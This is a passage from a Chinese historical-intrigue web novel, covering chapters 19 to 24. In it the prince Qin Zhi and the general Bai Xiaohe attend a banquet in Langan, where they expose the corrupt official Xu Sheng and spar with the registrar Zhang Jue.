秦祉傲然回首,似乎终于分了点注意力给他,浅笑着,可这笑容落到徐生眼中,便成了笑里藏刀,他“扑通”一声跪下,哭道:“晋赭王,殿下、殿下……” “我是殷州徐氏的人,你们不能杀我,不然徐氏不会放过你们的......” “人如蝼蚁、命如草芥,不过是杀你区区一个长吏,徐氏如何知晓?”秦祉居高临下地看他,“你跪的及时,只是不知百姓跪你的时候,你可曾想过有朝一日,也会沦为阶下囚。” “殿下......” “只是你不该求我,求错了人。”秦祉轻声说,“毕竟这兰干,可不是本王说了算。” 骑兵在县廷里出外进的搜刮着,那场面一时之间非常热闹。 秦祉冲着柏萧鹤使了个眼色,转身跟着骑兵走过去,东看看、西瞧瞧,偶尔有将士说拿到了什么,她就一副感兴趣的模样凑了上去,嘴里念叨着“都拿上,这还不拿你挺有钱啊”,不过几时,手里包裹便越来越大。 徐生见其无望,只能将视线抖着,落在了柏萧鹤衣摆,他深知此刻想要活命,唯一的机会便是这五大营之首的常胜将军。 可此人年少成名,战功累累,可行事作风嚣张跋扈,所到之处更像是恶犬过境,打的敌人溃不成军。 三年前与东边沧州的卲关之战,兰干五大营中唯有柏萧鹤坐镇,沧州正是看中这一点,竟组十万兵马出征,准备攻下兰干。 两方人数差别过大,不易久战,柏萧鹤索性率几百兵马奇袭卲关,一路杀穿沧州十万兵力,差点给人家主帅一锅端了,因此名声大噪,一时间兰干无人敢争。 这样的人,如今站在他徐生面前,他是连半句字音都不敢说,生怕对方心情不佳,长戟一刺直接把他捅个窟窿。 他只俯首低着头,支在地上的手都不自觉轻颤,耳边只有自己狂跳如雷的心跳声。 “你营中可缺人?”柏萧鹤眼神淡漠。 李竹启偏头打量了地上的府兵,说:“近来打仗,收了不过也就是扔到前线送死的,算是凑人头了。” “那就收。”柏萧鹤颔首道。 “这人呢?”李竹启用剑身挑起徐生的下巴,看着这人惊惧的瞳孔,说,“杀了?” “不...不......” 柏萧鹤展眉一笑,他蹲下身,瞧着徐生的眼说:“怎么会,我们可得仰仗着徐大人,毕竟兰干现在,徐大人一手遮天不是?” 徐生只一味的疯狂摇头,刚想张嘴求饶,便被一块因打斗落在地上的赤色宝石抵住了。 柏萧鹤眸色愈发幽深,他冷冷地盯着徐生,两只手指夹着宝石塞进他嘴中,声音轻柔:“这块宝石我很喜欢,可若是叫殿下看见了,我定会忍痛割爱,赠予殿下……” “懂什么意思了?” 徐生被迫含着疯狂点头,却再没了发出声音的机会。 ---- 另一边,秦祉手里抛着一块金子,身靠廊柱,然后看都不看朝旁边一丢,只听见那边一道惊呼,小姑娘连忙去接也没接住,趴地上将那金子捡了起来揣进怀里。 “你做什么...要盯着夫人和我。”她怯生生地问,但动作却鼓足勇气挡在了徐夫人面前。 “她说她是渔夫的女儿,不是谁家的夫人。”秦祉扬起下巴,“换个称呼吧,徐生已经死了,这个世界也不会再有徐夫人。” 小姑娘愣住了,回头看看,又看向秦祉:“可是...徐、徐生还没死呢。” “你认为他还活着?” 19. 第 19 章 《白首相知犹按剑》全本免费阅读 “你想什么交易?”秦祉将卖身契叠起来,问。 “难说啊。”柏萧鹤说,“保不准某一天能用到,殿下,先欠个人情?” “你倒是会趁火打劫。” 柏萧鹤摇头说:“非也,殿下,这叫未雨绸缪。” 秦祉手支撑着,上身微微前倾,靠近柏萧鹤,吐气道:“但本王依稀记得,将军也说,这是病糊涂了才能做出的事。” “柏将军,你也病了?” 二人对视片刻,皆露出一抹笑意,只是这其中有几分真情,都是未可知。 “柏浪昭、殿下。”李竹启清淡的声音响起,“到兰干了。” 马车外,城门恢弘苍古,巍峨耸立,城门侍卫见状小跑迎来,抱拳道:“见过柏将军、李将军。” 李竹启颔首道:“这位是梌州晋赭王殿下。” 这二人又行礼唤道,秦祉单手一抬示意不必多礼,说:“兰干相可在?” “是,兰干相一早收到殿下要前来的消息,便已下令备宴迎接,如今想必已在府中等候殿下。”侍卫说,“府内侍从在城门内候着了,殿下马车放心跟随......” “不急。”秦祉笑说,“来的一路上,可听说了簿曹从事张珏的大名,本王依稀记得曾和他在都邑见过几面,多年未见,如今也应去看看,当作叙旧。” “李将军一路护送,舟车劳顿,便先去稍作休息吧。” 李竹启轻轻弯了下嘴角:“殿下客气。” 柏萧鹤则是掀起眼帘,不咸不淡地瞥了半分疲态不显的李竹启一眼,长戟碰着秦祉小腿,说:“殿下,陪你上山入牢渡河打架,一路舟车劳顿的那人,不应该是我吗?” “李将军谈何劳形苦心啊。”柏萧鹤展了展因一路马车略有僵硬地身子,骑上一匹马,回首道,“便让李竹启陪你走一趟张珏那吧。” “殿下,咱们回头见。”他笑着抱拳,而后骏马冲进城门,留下一道洒脱的身影。 李竹启有些无奈,但又仿佛已经习惯了此人一贯不怎么正派,想起一出是一出的作风。 她只说:“殿下,张珏一事我都了然,那便由我陪您走一趟吧。” 秦祉沉默半响,柏萧鹤这人恐怕先一步去见荀谌了。 她点头说:“也好,有劳将军。”只是这话音刚落,秦祉无声地递给崔颉妙一个信号。 ---- 黑白双子铺满半张棋盘,案几旁茶叶清香之意灌满整间屋子,张珏靛蓝长袍,自有一派清雅之风,他手指把玩着黑子,垂眸观摩着局势。 “张簿曹,校尉将军李竹启登门拜访,现下人已到了廊下。” “她来做什么?”张珏视若无睹,只一味观棋。 “回簿曹,据说来人之中,还有梌州的晋赭王。” 张珏手一顿,他缓慢将棋子落下,这才侧首:“晋赭王?” “是。” “这倒是有趣,晋赭王跑我这做什么?”张珏思索道,“将人请到厅堂备茶,说我马上就来。” “殿下久等。” 秦祉同李竹启对侧而坐,相谈甚欢,只听屏风后传出一道声音,平和淡然。 “在下并未提前得知消息,因此着装梳洗多耽搁了些时间,望二位见谅。”张珏含笑道,“来人,奉茶和点心来。” 这人... 话里有话啊。 秦祉莞尔道:“张簿曹这是在怨本王和都尉不请自来了。” “岂敢。”张珏说,“只是不知殿下如何会在兰干,寻我又是为何?” “这事儿就有些说来话长了,兰干近来盐粮吃紧,本王就帮衬了一把,顺道见兰干王一面,至于来此,不过是想着当年同在都邑,旧识新交罢了。”秦祉端起茶杯喝了一口,“本王倒是记得你曾是周氏的门生,怎地如今不跟着周氏去翼州,却来这相隔甚远的兰干坐官?” 张珏抚着杯盏的手不易察觉地停了半瞬,说:“殿下好记性,只是当年周氏下狱,在下为了逃命,如何敢和周氏再有牵扯。” “从都邑城一路迁居至此不容易吧?” 张珏舒了口气,说:“的确,但乱世之中若是连我都如此想,百姓岂不更无活路?” “簿曹如此想,实乃仁心。”秦祉赞叹,“本王果真没有白走一趟,都尉将军,不知筵席可否请张簿曹一同前往?” “殿下若是邀请,自然可以。”李竹启说。 “筵席?”张珏疑虑道。 “啊,张簿曹,是兰干相特意为殿下备的宴。”李竹启说,“也算是庆贺柏将军从西州成功运盐而归。” “成功运盐而归…”张珏细细咬字,笑道,“这可真是好事,不过昨儿个回信不是说,虞仓寅不同意交易,双方险些交手么?” “怎么今儿……又变了。” 秦祉放下手中木筷,笑说:“这不是以防万一,免得叫人半路使绊子,再耽搁战事。” “既如此,本王先行休整,张簿曹,筵席见。” “筵席见,殿下,请。”张珏起身,揖礼相送,只是垂下的眸中,神色晦暗不明。 ---- 兰干战事未停,但战火并未波及兰干城内半分,因此城中往来坊市热闹非凡,宽阔的青石板路旁店铺摊贩熙熙攘攘。 路边一家包子铺香气扑鼻,热气腾腾宛若仙气缭绕的白雾弥漫,那摊主见秦祉牵马而过,吆喝着:“客官,要买个尝尝鲜不?” 秦祉停下脚步,说:“那便要两个。” “得嘞!”摊主喜笑颜开地收了钱,将包子装好递给她,只是秦祉并非伸手去接,由她身旁的崔颉妙接了过去,“阁主。” “给你买的,你若想吃就吃,不想吃一会儿随便找个角落放着,会有人去拿。”秦祉说,这味道香归香,但她没什么胃口。 “是,谢谢阁主。”崔颉妙眼神晃了晃,好似冰川消融,多了几分情绪。 “你继续说,刚刚如何。” 出了张珏那里,崔颉妙便找了过来,李竹启见状先行告退,如今漫步兰干街头的,就只剩下她们二人。 “属下跟随柏将军一路行至将军府邸,而后并未见其有动作,便听他说,‘我若沐浴更衣,你也要跟着监视,然后报给你们殿下?’” “够警觉啊,连你都能被识破。”秦祉说。 “属下办事不力。” “与你无关。”秦祉道,“柏萧鹤这人不过二十有余,能做到今天这个位置绝不是浪得虚名,你继续。” “是,而后柏将军便将属下赶了出来,说他不在,殿下不会和张珏久谈,如今既然已经知晓他府邸何处,叫我即刻来接殿下去谒舍歇息。” < 20. 第 20 章 《白首相知犹按剑》全本免费阅读 “此次西州一事,浮生昨日回报,兰干相都已悉数知晓。”侍从在前方引路,顺着蜿蜒小路而行,两侧特引温池的水栽种别季花草,淡淡香气混杂在湿冷地空气,别有一番风味。 “为了表达谢意,才稍微办的大了些,其实也就还好,算不得什么奢靡,殿下不必有负担。” 秦祉神色平淡地笑了一下,肉眼可见的敷衍。 “荀谌什么时候到?”柏萧鹤打断那侍从的话,问。 “回柏将军,最多不过一盏茶的功夫。” “那你先下去,晋赭王这有我。” 侍从顿了顿,俯首退下:“是。” 堆砌假山旁游廊绕行,池水清澈见底,郁郁葱葱的树影倒映,清风一过,荡漾涟漪。 “说吧。”柏萧鹤看她。 秦祉眼神一凝:“说什么?” “谁知道呢?”柏萧鹤随手摘下一朵白梅,捻在手尖,“或许是张珏,或许是荀谌,又或是这筵席的一切。” “那么你呢?” 柏萧鹤停下脚步:“我?” “对,你。”秦祉直视他说,“你又为何将这侍从唤走。” “殿下,我知道你在想什么。”柏萧鹤缓缓摇头,“但水至清、则无鱼。” 秦祉没说话。 筵席间交谈声隐约被风吹送而至,渐渐进入秦祉耳中,打破这寂静到诡异的氛围,与此同时响起的,是一道清亮爽朗的声音。 “二位,雅兴。” 亭楼之上,玄色暗纹长袍配红玉珠饰,欣长挺拔而立,举止坦然、风度翩翩。 “兰干相,荀谌。”柏萧鹤轻声说。 荀谌缓步自楼梯而下,细看去,清俊眉眼中有着持才傲物的冷意。 “兰干相荀谌见过殿下。”他双手合拢,虚礼道,“我昨日听闻殿下要来,连夜置办打点,不成想倒让浪昭抢了功。” “殿下舟车劳顿,将军府休整的可好?”荀谌笑说,“这远远看着,不知还以为是浪昭的家弟……” 荀谌轻轻嗅了嗅,意外道:“……连熏香都是一种味道。” “省时间,干脆一起沐浴了来的。”柏萧鹤语气轻飘飘,意味不明地看她一眼。 “咳。”秦祉呛了一声。 “哦,你和殿下的关系已经如此好了。”荀谌意味深长地笑着。 “那倒没有。”柏萧鹤说,“这人进了汤池比那河里打捞上的鱼还闹腾,我可没待上一盏茶的功夫就跑了。” 荀谌一时无言,干笑两声:“啊哈哈……” 秦祉面色不变,却暗自怼了柏萧鹤一肘:“此番前来打扰也是不得已,兰干相不介怀就好。” “怎会,我久仰殿下大名已久,今日幸得一见,怎会介怀。” ---- “叮。” 茶盖合拢,解祈安手持便面扇,懒散地撑着木案笑问,冬日天冷,他也不扇,单纯握在手中做装饰。 “怎么样?那晋赭王你也见着了,听浮生说路上还跑长吏那大闹一场,给我说说是怎么回事?” 李竹启端坐在旁,闻言看他:“浮生告知你的?” “哎呀,不要在意这些细节。”解祈安撑着下巴凑过去,“那长吏是什么情况?文臻姐姐,说说嘛......” “你要是这么好奇,一会儿直接去问柏浪昭和殿下不就更明白了?”李竹启说,“我赶到的时候人家都已经完事了,只看了个尾巴。” 解祈安歪了歪头,谴责道:“无情啊,你和仲冕都是一种人。” 李竹启抬眸看了一眼:“说到仲冕,他人呢?殿下和兰干相怕是一会儿就要来了,他怎么不在?” 仲冕,戍边校尉葛卫的字。 “他?”解祈安说,“听说花中朗将昨夜醉宿仙人醉,这不,仲冕带人去抓了。” “周烁声也不在?” 解祈安故作惊讶,便面遮住下半张脸:“这可真是,五大营将军竟然只有你在,要是让晋赭王知道了,可怎么是好呢?” 这语气,颇有几分等着看戏的幸灾乐祸。 周烁声的确来迟了。 一早他便如往常一样去练兵,弄地满身大汗淋漓,想着沐浴更衣后赴宴,结果累的直接在汤池里睡过去了。 这一睡就是足足半个时辰,那边侍从又不敢轻易打扰了这位脾气暴躁的小将军,只能急得直转悠。 但要等他自己醒过来,八成筵席都得结束整一天,侍从只好吊着小命去强行将他唤醒:“周都尉、周都尉?” 周烁声迷迷糊糊地睁开眼,看清楚眼前侍从的脸时,猛地从水中蹦起骂道:“艹,现下是什么时辰了?” “那边是不是已经开始了?”他手忙脚乱地穿着衣服,嘴里念叨着,“完了完了,这要是迟了得让解祈安那小子的嘴损死。” 这人一路疾驰,愣是用了一炷香的功夫,就赶到了兰干相的府上,门外侍从被吓了一跳,只见这都尉小将军翻身下马,头也不回地命令道“牵马”,然后急匆匆地冲进府中。 “周都尉!”那侍从惊呼一声,牵着马匹来不及阻止,就这样眼看着人消失在视野里,剩下半句“殿下和柏将军刚刚才进了院子”这话憋在口中没说出去。 他像一阵疾风,轻车熟路地在府中穿梭,束起的长发随风飞扬,露出黎明似地眼眸,眼前游廊架起,池水缓缓流淌,他一脚踏在廊柱,手一勾,人从侧边翻进小路,而后那双眼骤然惊恐万分。 “等等!小心!”周烁声落地前大喊一声。 面前三人惊诧回头,瞳孔一缩,只见一道身影兀然从空中扑来。 “这什么……人!” 原本这人是扑不到荀谌身上的,可谁曾想柏萧鹤和秦祉二人手疾眼快,侧身一躲,衣袍翻飞擦出风声,当头磕到了荀谌身上。 “啊!” “哎呀我天,哥们你……你躲什么啊?”周烁声从荀谌身上翻了下来,坐在地上揉着脑袋,“谌哥你没事吧?” 柏萧鹤抱臂看着,无奈上前拉了一把荀谌:“不躲等你扑我身上?” “习武之人撞一下又不碍事。”周烁声“嘿嘿”笑了两声,拍了拍荀谌衣袍,“谌哥……来、我扶你,没事哈。” 荀谌无奈叹道:“你这是做什么急急忙忙的 21. 第 21 章 《白首相知犹按剑》全本免费阅读 秦祉端起茶杯,垂眸拂去茶沫,听到此话动作一顿,随即抬眼看去,笑说:“是啊,很巧。” 轻飘飘一句话,四两拨千斤,无声将此人的质问挡了回去。 “看这位使君如此愤愤不平,莫非是得知了什么消息?”明明神色没有变化,可这人仍觉得晋赭王的笑意绵里藏针,慎得慌。 “消息不敢当,只是我兰干对于中原混战早就置身事外,如今却因殿下不得不被搅入局中,殿下就没有什么想要解释的?” “哦。”秦祉点点头,“置身事外指的是,数月战乱未止……” 她嗤笑一声:“开眼了。” “你!”那人差点拍桌而起,只是碍于场合,硬生生止住了动作,“晋赭王未免有些答非所问了。” “是么?”秦祉冷眼睨他,漫不经心道,“本王还以为今日只是普通燕会,原是本王自作多情,竟是你们兰干的审讯啊。” “晋赭王,话不是这么说的,我们也只是替这兰干百姓问的,今后兰干因此牵扯战争,我们又如何跟百姓交代?” “那你得去问张陏啊。”秦祉说,“张陏谣诼,寻本王头上作甚?” 两人一来一回,竟一句有用的话都没听到,柏萧鹤忍不住笑出声来,他为自己慢慢斟满一杯酒,小酌一口说:“看我做什么?” 他佯装恍然大悟道:“啊,不会也要我解释,怎么把晋赭王带到兰干的吧?” 那人见柏萧鹤一副放荡懒散地样,阴着脸不再说话了。 只可惜秦祉那点好心情已经随着刚刚那几番对话消散的无影无踪,她拿着杯盏的手一松,茶水顷刻溅出,落在案几。 “看样子兰干并非你所言一般,欢迎本王。”秦祉目光淡漠地看向荀谌,而后起身道,“既如此,那本王也没什么好与兰干谈的了。” 言毕,秦祉头也不回地离席要走。 “晋赭王。”另有一人挡住去路,“如今这事没解决,麻烦您暂且留在兰干为妙。” “实在不是我们想对您不敬,只是西州一事着实需要一个答案。” “我若执意要走呢?” “那就只好得罪殿下了。” 秦祉顿感荒唐,一时笑出了声:“凭你?” “也、配。” 她眉眼下压,审视着面前的人,如寒冬冰窖,带着肃杀之气。 “让本王来猜猜,是谁教唆你这样说的。”秦祉语气格外平淡,但仔细辨别,她已然动了杀心,“是…荀谌。” “对吗?” 秦祉踱步到柏萧鹤面前,垂眸凝视他:“……还是你呢。” 柏萧鹤姿态松散自如,他微微后仰,抬头笑道:“怎么说,殿下?” “因为你不止一次怀疑本王有近侍跟随。”秦祉说,“可自始至终,你都没有看见除了崔颉妙以外的任何一人。” 这些文士不过都是一场戏,逼晋赭王不得不露出背后势力的一步棋。 一为试探底细,二为看清局势。 “究竟是西州一事需要答案,还是你柏萧鹤想要看清筹码。” “殿下,误会了。”柏萧鹤拾起被秦祉搁置的杯盏,缓缓倒进一杯新茶,递给她,“结盟总要彼此信任的,若真有人藏在暗处,才让人毛骨悚然啊。” 秦祉端详着举杯的手,片刻后接过茶盏,手尖略微触碰,察觉到对方的一丝温度:“你就不怕惹怒了本王,管什么结盟都不作数。” “殿下是聪明人,不会意气用事。” 秦祉作势就要拿茶泼他,柏萧鹤下意识侧身一躲,不料秦祉手稳稳停在半空,一滴水都不曾洒下,她见状冷笑一声:“身手比你脑子转的快。” 柏萧鹤不禁失笑,暗道:这是真气着了。 见秦祉已然落席,荀谌这才开口:“殿下见谅,这事也怨我没有......” 秦祉抬手制止,说:“兰干的顾虑本王明白,若非如此我也断不会坐在此处。” “柏将军看得透彻,既要合作,那事情挑明了说也好。”秦祉说,“如今人应该也已经到了,那就有劳兰干派人去请了。” “请谁?” “晋赭太守,贾文勰。” ---- “言贺,看,这氾州果然与中原相差甚远,巍峨群山下草原绵延千里,一望无垠啊。” “这看着的确比中原要舒心多了。”贾文勰掀起车帘朝外探去,辽阔疆土上竟看不到什么人:“还有多久到?” 车夫在外甩鞭回答说:“回太守,差不多酉时一刻就能到达兰干了。” “兵马应该进不了城,我带几人去找主公,你领兵马在城外扎营吧。”贾文勰手中抱着暖炉说,“这次听说兰干五大营的人都回来了,还不知是个什么情况呢。” “你担心殿下以身犯险?”司昀靠着车舆,身子跟着马车左右晃荡。 贾文勰蹙眉道:“殿下如今身旁仅有崔女官一人,而从西州到兰干,这一路上都是柏萧鹤那人相随,此人杀戮成性,不得不防。” “兰干王年幼,是被辅佐还是架空也尚未可知,主公这一步走的过于险要,我自然是无比担心。” “总归我们都已经来了,担心些有的没的做什么?”司昀说,“你尽管去寻殿下吧,一旦有事即刻派人通传,我便马上带人杀进城中。” “五大营坐镇也不怕?” “管他什么营,救殿下还是不成问题的。”司昀晃着脚说。 ---- “这些都不成问题,一会儿我会叫人来抵。” 仙人醉,兰干城内最出名的酒楼,二楼雅间。 “哎?这可不行啊这位公子。” 葛卫狭长的眸复杂情绪翻腾,这酒楼老板拦在身前叫他一步都迈不出去,身边还趴着个一身酒气、也不知到底是不是装醉的人,他深深吸了一口气,道:“我说了,一会儿就会有人来把账抹平。” “哎呦您可别蒙我了。”这酒楼老板笑着打趣,“咱这酒楼向来是盖不赊账的,您这前脚走了,后脚其他人也跟着要走,我这生意还怎么做啊,您说是吧?” “眼下大家生意都不好做,何况这位公子来的时候可是个爽快人,一下子点了我店里那么多东西,怎地偏生 22. 第 22 章 《白首相知犹按剑》全本免费阅读 “来的是时候。”秦祉神色动作松弛了许多。 贾文勰弯唇道:“那是自然,得了崔颉妙的信,我们便日夜赶着行程,总算不迟。” “主公,这一路可还顺利,信中说纵岳山你遭遇行刺,行踪不明,差点没吓死我们。” “不是什么大事。”秦祉道,“坐吧,一会儿可有好戏要看了。” “好戏?”贾文勰目光中带了点期许,对上主位荀谌的视线,笑说,“我甚少离开中原,这还是第一次涉足氾州,果然草木群落、万里无边。” “贾太守一路远行,尚未休整便来赴宴,属实怪我兰干待客不周。” “怎会?”贾文勰面不改色道,“所幸今儿在下是赶到了,若是没到,主公现下怕是一人舌战群儒呢。” “贾太守说笑了,殿下何等身份,诸位文士怎会如此无礼。”荀谌堪堪回道,旋即转移了话题,“只是不知太守怎么会和葛卫一起来?” “这位将军特意守在城门,我当是兰干相派他来视察的呢。”贾文勰身子微微前倾,他侧首道,“兰干相,别说,这位校尉将军警惕性是真不错,那眼睛转的跟......” “……收敛点。”秦祉轻咳一声,暗自提醒着。 贾文勰这人是这样的,样貌看着是光风霁月,可惜那张嘴惯会意在言外、指桑骂槐。 “只是碰巧。”见贾文勰笑眯眯地不再说话,葛卫言简意赅道。 “确实巧得很啊。”贾文勰意味深长。 “你有没有觉得,这人和你有点像?”周烁声看着,忍不住小声问。 “你指哪方面?”解祈安瞥他一眼,“若是样貌自当是我更......” “嘴欠。”周烁声说,“麻烦你有点自知之明好...啊!” 硬生生挨了一拳。 周烁声转头就喊:“柏哥!” “滚。” 周烁声耷拉个脑袋坐在席上,暗自发誓下次绝不要坐这俩人中间了! 燕会席间珠歌翠舞、谈笑晏晏,酒过三巡,那唱曲的人一曲毕,竟直接靠着秦祉屈膝坐下,单手支着脸,歪头冲着她笑:“晋赭王殿下,可还有什么想听的曲儿吗?” “您尽管点,我会唱的可不在少数……”声音又缓又轻,吐气如兰。 “这人怎么回事?”周烁声皱眉,“晋赭王身边也敢这么就凑上去?” “燕会前没人教他规矩吗?” “哎,这你就不懂了吧。”解祈安轻轻摇晃便面,“人家晋赭王说不准就好这一口呢。” “人家昭川门前那档子事,可都传开了……” “昭川什么事?”周烁声被勾起了好奇,也不管什么礼仪规矩,撑着地上的蒲团便凑了上去,“元寿哥,说说,说说,昭川有什么好玩的事发生?” 解祈安故意卖起关子来:“这个嘛……” “故事不是白讲的,你拿什么跟我换?” “太阴险了吧,这也要拿东西换?”周烁声当即直起身子,但又架不住那股好奇劲,只好勉勉强强说,“那行吧,你说换什么?” “拿你府上那壶碧桃春来换。” “成、交。” 解祈安单手搭在周烁声肩上,揽着他道:“这得追溯到半个月前了,话说这晋赭王去翼州樵阳参加休战盟约,结果不知怎的就跑到了西州境内,被张陏带队堵了个正着。” “结果张陏自己成了瓮中捉鳖的那只鳖,叫晋赭王胁着人,坐马车一路行驶到昭川郡城门外,要去寻这昭川太守。” “你怎么……知道的这么多?”周烁声诧异道。 “我解祈安读古今书、知天下事。”解祈安拿便面抵住周烁声道,“你别打岔。” 周烁声连忙点头。 “谁成想昭川太守被歹徒刺杀,因此昭川上下戒严,城门侍卫理所应当拦住马车要看过所,浮生入乡随俗,便停了车给了...” “怎么还有他的戏份?” “再打断我就不告诉你了。”解祈安拍他一掌,继续说,“何止有他的戏份,这还有你身后那位的戏呢!” 周烁声下意识回头,刚好撞见柏萧鹤好整以暇地视线,只是这目光里莫名其妙带着点攻击性,这是来自周烁声征战沙场的直觉。 耳边声音未停,继续说着:“结果这侍卫看了过所,非说不行,要让马车上的人都下车查验才行,说时迟那时快......” 说时迟那时快,周烁声脸色骤变,低声喝道:“让开!” 借着胳臂一拦,当即反手将解祈安从那案几上扯开,回过神来,一柄银钗不深不浅钉入木案,可见此人手法力道。 “兄弟啊......”周烁声倒吸一口气,“你这是做什么啊?” 解祈安反而若无其事地伸手去拨了拨那银钗,随后轻叹:“可惜了这银钗和案几,荀谌又要重新置办了。” 即便周烁声不拦这一下,银钗也戳不到他身上,好歹也是总角之交,柏萧鹤的为人他再清楚不过。 “然后呢?”柏萧鹤缓缓道,“也说给我听听。” 他眼神示意银钗:“当作交换。” “是啊,然后呢?”周烁声转眼注意力就跟着走了。 解祈安见好就收,手指触碰着银钗,莞尔道:“哎呀,然后下面的情节就得问张陏或者是殿下本人了。” “解祈安!你耍我玩呢?” “嘘,看戏、看戏。”解祈安头微微后仰,示意周烁声往对面看去。 筵席对侧,那唱曲人举起一壶酒,缓缓置入杯子,他手指捏着杯身送到嘴边,齿贝轻咬,叼住酒杯,目光始终锁在秦祉脸上,微微仰头,辛辣的酒水顺势滑下,喉间松动咽了下去,而后笑着:“殿下,您要尝一杯吗?” 秦祉不着痕迹地拉开了距离,微微蹙眉,这一转眼,刚好同对面看过来的三道视线撞在一处。 秦祉微微挑眉,什么意思?看戏来的? 柏萧鹤只字未言,缓缓勾唇:好戏。 解祈安见状便了然,只收了便扇,挑着木案上的葡萄吃起来,但周烁声却越看越不懂了,这几人莫名其妙跟他面前打的什么哑迷。 这人看看秦祉,又偏头看了看柏萧鹤,眉头就没松展过。 而同样有着不小的疑惑,但也察觉出几分不对劲气息的便是贾文勰了,他手半遮住唇,轻声道:“主公,你和对面那位现在看起来好像有点……”< 23. 第 23 章 《白首相知犹按剑》全本免费阅读 “清县长吏?这什么意思?” “徐生……我记得他是不是,殷州徐氏的子弟?” “这倒是奇了,徐氏的人甘愿在兰干做个小小长吏,别是被徐氏赶出来的吧?” “崔颉妙。”秦祉略微颔首,崔颉妙心领神会,虚礼道,“殿下与柏将军自渌水河南下,途径清县,路遇一妇人抱幼子求救,身后数十余同乡追捕打骂,问其缘由,得知这附近百姓皆财粮无存,被官吏掠夺一空,致使清县哀鸿遍野,饿殍满地,为活命易子而食。” “天哪,兰干竟然也有此等景象?” “简直是闻者伤心、听者流泪......” 一旁看戏的周烁声则是皱紧眉头,没有吭声。 崔颉妙继续道:“殿下仁善,得此消息欲同与柏将军前去清县长吏徐生府中,不曾想被侍从拦截门外,声称徐长吏不许报官,曾有百姓因此企图向上求救,却被徐生拦截,至今关押地牢,性命堪忧。” 荀谌手尖捏着一颗圆润的葡萄,笑问:“不止如此吧?” “兰干相聪明。”秦祉说,“他仰仗的并非徐氏,而是......” “是我自己!”徐生突然打断了秦祉的话,他猛然抬头说,“是我自己干的。” “我没有仰仗任何人!” “晋赭王,你根本就不是为了什么百姓的安危,你也不是来寻求结盟的,你不过是要破坏兰干稳定下来的局势罢了!”徐生狠狠地盯着她,“你没有任何证据,一切,不过都是你的空谈!” 秦祉觉得有些好笑,她单手拄着下颚,看向柏萧鹤:“如此说来,柏将军变成了本王在兰干的内应了。” “柏、柏将军不过受你蒙骗,我是为了钱收刮民脂民膏,可你想说的靠山,那都是你自己编造的谎言,并非我亲口承认。” “你当本王要说谁?”秦祉轻声问。 “你自然要说张......”徐生刹那间僵住了,他看向秦祉那双不动如山的眼眸,只觉恐惧一点点蔓延开来。 是他,反应太过激烈了。 “张?”秦祉笑出声来,“兰干上面哪位官员姓张啊?” “你......”徐生吞咽了一下口水,道,“是、是簿曹从事,张珏。” 顿时,无数视线顷刻之间落到那垂眸喝茶的人身上,张珏微微抬起眼,扯了扯嘴角刚想开口,便听徐生又道:“这是晋赭王在清县就口口声声说要怀疑的人了。” 徐生佯装悲痛道:“臣是贪财,但也只是如此,对兰干可谓是忠心耿耿,绝不希望兰干能被小人挑拨,从而分崩离析啊!” “对兰干忠心耿耿?”周烁声嗤笑一声,开口便骂,“你他妈简直是放屁!” “老子手下牺牲无数,为了守住兰干,百姓得以乱世保全本家性命,出兵征战沙场近数月不止,你却在背后作恶不断、烧杀掠夺,你简直其心可诛!” 劈天一道怒斥吓得徐生不敢反驳,唯有张珏有了动作,他缓缓起身,步入中堂,揖礼道:“在下簿曹从事张珏,有话要讲。” 荀谌缓缓举杯喝了口茶,这才道:“说。” “在下大抵知道殿下如何疑心到我头上。”张珏声音清淡,面色平稳,相当自如,“这位长吏的行境涉及两点,刚好同在下官职一一对应,钱与粮。” “因而殿下怀疑不无道理。”张珏说,“若是查验,倒也有证据能证明我与徐生往来交易。” “什么?” “张珏这是承认和徐生是一伙的人了?” 耳边嘈杂声不断,但张珏面不改色:“只是在下以为,他作为殷州徐氏的子弟,清县又离殷州相近,仅是靠家族帮扶罢了,不曾想他行事会如此歹毒。” “因而也不曾想过,在下不过为兰干多筹备钱粮,竟会因此私心,被他人利用,这的确是在下的失职。” 崔颉妙当即表情一凝,转眼看向秦祉,秦祉则是睨着张珏平静的侧颜,半响失笑。 这人不愧是周令的门生,反应太快了。 若是张珏否认了与徐生的往来,门外那渔夫的女儿,凌云以及徐生府众侍卫,都等着一人一拳,直接将二人私下暗通往来的证据锤死在这。 可张珏认下了。 他若认,即便对他真起了疑心又如何? 徐生的身份放在那里,如何能断定张珏所言之话有假?秦祉缓缓起身,站在徐生面前居高临下地看了一会儿,徐生连忙低声唤着“殿下”。 秦祉俯身蹲下,声音很轻,如同羽毛落近耳中:“前倨后恭,他可同你许下什么好处了,让你将过错都揽在自己身上?” 张珏闻言道:“晋赭王殿下,你如何执意让他指认在下?” 而后他贴近秦祉说:“莫非,是殿下你需要给兰干一个加入中原混战的、冠冕堂皇的理由?” “你......” 不等秦祉说话,张珏猛然后退半步,当即跪地叩首,高声回道:“若殿下执意用在下做借口,送兰干出兵的理由,在下责无旁贷,愿捐躯赴国难,视死忽如归!【1】” 秦祉盯着他头顶的镶珠玉兰发钗,轻声道:“张珏……” 张珏眼神微动,动作不变。 “本王记住你了。” 这回不止堵住了秦祉,连同柏萧鹤的打算都被抬到了明面上来说。 一只手轻轻按住秦祉的肩,微微用力,秦祉偏头看去,这手修长有力、骨节分明,常年持戟的手心有一层薄茧,却并不影响它的漂亮。 “殿下,事情到此便已经有了决断。”柏萧鹤说,“张簿曹险胜一局,恭喜。” 张珏这才动了动,他直起身子,笑道:“柏将军的话,在下不明所以。” 解祈安放下木筷,拾起手帕擦拭嘴角,说:“张珏这人有点意思。” “确实。”周烁声煞有其事地点头。 解祈安意外道:“呦,你竟也这么觉得?” 周烁声嚼着吃食,说:“能为兰干牺牲自己,当然值得敬佩,我看好他。” 解祈安:“......” 周烁声斜眼看他,狐疑道:“你那是什么表情?” “算了。”解祈安摇摇头,心道:这傻孩子大概是没救了。 “浪昭是想利用这人带兵入中原。”李竹启突然说。 “嗯?”周烁声皱眉道,“什么意思?” 李竹启看他一眼:“张珏是五世三公周氏的 24. 第 24 章 《白首相知犹按剑》全本免费阅读 “花颖慈。”秦祉轻声念着名字,“本王还以为,你不会现身燕会了。” 花颖慈扯下一瓣桔子,扬手丢给秦祉:“是你以为我不会来,还是你希望我不要来?” “有什么区别吗?” 花颖慈轻笑一声,慢条斯理道:“别装傻,这个表情不适合你。” 他将最后一瓣放入口中,酸涩汁水蔓延唇齿,他说:“殿下,几年不见,要一起出去走走吗?” “我猜想,你一定有许多话想要对我说。” 